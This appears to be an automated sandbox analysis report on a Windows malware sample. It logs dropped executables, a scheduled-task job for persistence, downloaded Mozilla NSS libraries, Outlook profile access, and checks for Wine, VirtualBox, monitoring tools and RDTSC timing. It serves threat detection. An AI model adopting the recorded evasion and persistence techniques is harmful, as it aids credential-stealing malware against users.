Source: C:\Users\user\DocumentsJEBKKEGDBF.exe	Section loaded: edputil.dll
Source: C:\Users\user\DocumentsJEBKKEGDBF.exe	Section loaded: urlmon.dll
Source: C:\Users\user\DocumentsJEBKKEGDBF.exe	Section loaded: srvcli.dll
Source: C:\Users\user\DocumentsJEBKKEGDBF.exe	Section loaded: netutils.dll
Source: C:\Users\user\DocumentsJEBKKEGDBF.exe	Section loaded: appresolver.dll
Source: C:\Users\user\DocumentsJEBKKEGDBF.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\DocumentsJEBKKEGDBF.exe	Section loaded: slc.dll
Source: C:\Users\user\DocumentsJEBKKEGDBF.exe	Section loaded: userenv.dll
Source: C:\Users\user\DocumentsJEBKKEGDBF.exe	Section loaded: sppc.dll
Source: C:\Users\user\DocumentsJEBKKEGDBF.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 1818624 > 1048576

Source: file.exe

Static PE information: Raw size of udalqcww is bigger than: 0x100000 < 0x1a2200

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2735162407.000000006CB8F000.00000002.00000001.01000000.00000008.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2735162407.000000006CB8F000.00000002.00000001.01000000.00000008.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.fd0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;udalqcww:EW;bwsfqfzz:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;udalqcww:EW;bwsfqfzz:EW;.taggant:EW;
Source: C:\Users\user\DocumentsJEBKKEGDBF.exe	Unpacked PE file: 30.2.DocumentsJEBKKEGDBF.exe.e0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;sbjwtnei:EW;vjdjgrsh:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;sbjwtnei:EW;vjdjgrsh:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 31.2.skotes.exe.260000.0.unpack :EW;.rsrc:W;.idata :W; :EW;sbjwtnei:EW;vjdjgrsh:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;sbjwtnei:EW;vjdjgrsh:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 32.2.skotes.exe.260000.0.unpack :EW;.rsrc:W;.idata :W; :EW;sbjwtnei:EW;vjdjgrsh:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;sbjwtnei:EW;vjdjgrsh:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 37.2.skotes.exe.260000.0.unpack :EW;.rsrc:W;.idata :W; :EW;sbjwtnei:EW;vjdjgrsh:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;sbjwtnei:EW;vjdjgrsh:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C953480 ?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ,GetCurrentProcess,GetProcessTimes,LoadLibraryW,GetProcAddress,__Init_thread_footer,__aulldiv,FreeLibrary,GetSystemTimeAsFileTime,

0_2_6C953480

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: DocumentsJEBKKEGDBF.exe.0.dr	Static PE information: real checksum: 0x1dc7f6 should be: 0x1e87ed
Source: aa08c11115.exe.37.dr	Static PE information: real checksum: 0x42f8da should be: 0x1acd4f
Source: skotes.exe.30.dr	Static PE information: real checksum: 0x1dc7f6 should be: 0x1e87ed
Source: file.exe	Static PE information: real checksum: 0x1c0d04 should be: 0x1c42fc
Source: random[1].exe.0.dr	Static PE information: real checksum: 0x42f8da should be: 0x1acd4f

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: udalqcww
Source: file.exe	Static PE information: section name: bwsfqfzz
Source: file.exe	Static PE information: section name: .taggant
Source: DocumentsJEBKKEGDBF.exe.0.dr	Static PE information: section name:
Source: DocumentsJEBKKEGDBF.exe.0.dr	Static PE information: section name: .idata
Source: DocumentsJEBKKEGDBF.exe.0.dr	Static PE information: section name:
Source: DocumentsJEBKKEGDBF.exe.0.dr	Static PE information: section name: sbjwtnei
Source: DocumentsJEBKKEGDBF.exe.0.dr	Static PE information: section name: vjdjgrsh
Source: DocumentsJEBKKEGDBF.exe.0.dr	Static PE information: section name: .taggant
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .rsrc
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: jgrcqeum
Source: random[1].exe.0.dr	Static PE information: section name: ulgvfaad
Source: random[1].exe.0.dr	Static PE information: section name: .taggant
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: skotes.exe.30.dr	Static PE information: section name:
Source: skotes.exe.30.dr	Static PE information: section name: .idata
Source: skotes.exe.30.dr	Static PE information: section name:
Source: skotes.exe.30.dr	Static PE information: section name: sbjwtnei
Source: skotes.exe.30.dr	Static PE information: section name: vjdjgrsh
Source: skotes.exe.30.dr	Static PE information: section name: .taggant
Source: aa08c11115.exe.37.dr	Static PE information: section name:
Source: aa08c11115.exe.37.dr	Static PE information: section name: .rsrc
Source: aa08c11115.exe.37.dr	Static PE information: section name: .idata
Source: aa08c11115.exe.37.dr	Static PE information: section name:
Source: aa08c11115.exe.37.dr	Static PE information: section name: jgrcqeum
Source: aa08c11115.exe.37.dr	Static PE information: section name: ulgvfaad
Source: aa08c11115.exe.37.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C98B536 push ecx; ret	0_2_6C98B549
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 37_2_0027D91C push ecx; ret	37_2_0027D92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 37_2_04DA0859 push ss; iretd	37_2_04DA085A

Source: file.exe	Static PE information: section name: udalqcww entropy: 7.953507165419957
Source: DocumentsJEBKKEGDBF.exe.0.dr	Static PE information: section name: entropy: 7.981796705719292
Source: DocumentsJEBKKEGDBF.exe.0.dr	Static PE information: section name: sbjwtnei entropy: 7.952054913149259
Source: skotes.exe.30.dr	Static PE information: section name: entropy: 7.981796705719292
Source: skotes.exe.30.dr	Static PE information: section name: sbjwtnei entropy: 7.952054913149259

Persistence and Installation Behavior

Drops PE files to the document folder of the user

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsJEBKKEGDBF.exe

Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\DocumentsJEBKKEGDBF.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\DocumentsJEBKKEGDBF.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1009152001\aa08c11115.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsJEBKKEGDBF.exe

Jump to dropped file

Boot Survival

Drops PE files to the user root directory

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsJEBKKEGDBF.exe

Jump to dropped file

Monitors registry run keys for changes

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\DocumentsJEBKKEGDBF.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\DocumentsJEBKKEGDBF.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\DocumentsJEBKKEGDBF.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\DocumentsJEBKKEGDBF.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\DocumentsJEBKKEGDBF.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\DocumentsJEBKKEGDBF.exe

File created: C:\Windows\Tasks\skotes.job

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C9B55F0 LoadLibraryW,LoadLibraryW,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_6C9B55F0

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\DocumentsJEBKKEGDBF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\DocumentsJEBKKEGDBF.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\DocumentsJEBKKEGDBF.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12200D9 second address: 121FA0D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jmp 00007F7E0935AD5Bh 0x0000000c nop 0x0000000d pushad 0x0000000e jmp 00007F7E0935AD69h 0x00000013 mov si, 77A7h 0x00000017 popad 0x00000018 push dword ptr [ebp+122D01BDh] 0x0000001e pushad 0x0000001f mov di, dx 0x00000022 popad 0x00000023 jmp 00007F7E0935AD5Eh 0x00000028 call dword ptr [ebp+122D2F51h] 0x0000002e pushad 0x0000002f jmp 00007F7E0935AD67h 0x00000034 xor eax, eax 0x00000036 stc 0x00000037 mov edx, dword ptr [esp+28h] 0x0000003b pushad 0x0000003c mov dword ptr [ebp+122D1CF0h], edi 0x00000042 jmp 00007F7E0935AD66h 0x00000047 popad 0x00000048 mov dword ptr [ebp+122D293Eh], eax 0x0000004e mov dword ptr [ebp+122D32D2h], eax 0x00000054 mov esi, 0000003Ch 0x00000059 add dword ptr [ebp+122D1CE3h], eax 0x0000005f add esi, dword ptr [esp+24h] 0x00000063 jl 00007F7E0935AD5Ch 0x00000069 or dword ptr [ebp+122D1CE3h], eax 0x0000006f lodsw 0x00000071 jnp 00007F7E0935AD57h 0x00000077 cmc 0x00000078 add eax, dword ptr [esp+24h] 0x0000007c sub dword ptr [ebp+122D1CE9h], edx 0x00000082 mov ebx, dword ptr [esp+24h] 0x00000086 pushad 0x00000087 jmp 00007F7E0935AD5Ch 0x0000008c popad 0x0000008d push eax 0x0000008e pushad 0x0000008f push eax 0x00000090 push edx 0x00000091 jns 00007F7E0935AD56h 0x00000097 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A0667 second address: 13A066C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13965BE second address: 1396616 instructions: 0x00000000 rdtsc 0x00000002 je 00007F7E0935AD56h 0x00000008 jmp 00007F7E0935AD5Bh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push ecx 0x00000010 jmp 00007F7E0935AD64h 0x00000015 jmp 00007F7E0935AD61h 0x0000001a pop ecx 0x0000001b jne 00007F7E0935AD68h 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1396616 second address: 139661C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 139F7D7 second address: 139F7DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 139FF63 second address: 139FF67 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 139FF67 second address: 139FF6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 139FF6D second address: 139FF77 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F7E090B940Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A2491 second address: 13A2496 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A2503 second address: 13A250D instructions: 0x00000000 rdtsc 0x00000002 jo 00007F7E090B940Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A250D second address: 13A2575 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 nop 0x00000007 push 00000000h 0x00000009 push ebp 0x0000000a call 00007F7E0935AD58h 0x0000000f pop ebp 0x00000010 mov dword ptr [esp+04h], ebp 0x00000014 add dword ptr [esp+04h], 0000001Dh 0x0000001c inc ebp 0x0000001d push ebp 0x0000001e ret 0x0000001f pop ebp 0x00000020 ret 0x00000021 push 00000000h 0x00000023 push 00000000h 0x00000025 push edi 0x00000026 call 00007F7E0935AD58h 0x0000002b pop edi 0x0000002c mov dword ptr [esp+04h], edi 0x00000030 add dword ptr [esp+04h], 00000015h 0x00000038 inc edi 0x00000039 push edi 0x0000003a ret 0x0000003b pop edi 0x0000003c ret 0x0000003d jmp 00007F7E0935AD5Eh 0x00000042 cld 0x00000043 call 00007F7E0935AD59h 0x00000048 push eax 0x00000049 push edx 0x0000004a push edx 0x0000004b push eax 0x0000004c push edx 0x0000004d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A2575 second address: 13A257A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A257A second address: 13A2580 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A2580 second address: 13A25A7 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F7E090B9416h 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 push esi 0x00000013 push esi 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A25A7 second address: 13A25B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop esi 0x00000006 mov eax, dword ptr [eax] 0x00000008 push eax 0x00000009 push edx 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d pop edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A25B5 second address: 13A25BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A2772 second address: 13A278F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov eax, dword ptr [eax] 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F7E0935AD63h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A278F second address: 13A2795 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A2795 second address: 13A27AA instructions: 0x00000000 rdtsc 0x00000002 jc 00007F7E0935AD56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp+04h], eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A27AA second address: 13A27B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A27B0 second address: 13A27B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A27B5 second address: 13A27BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
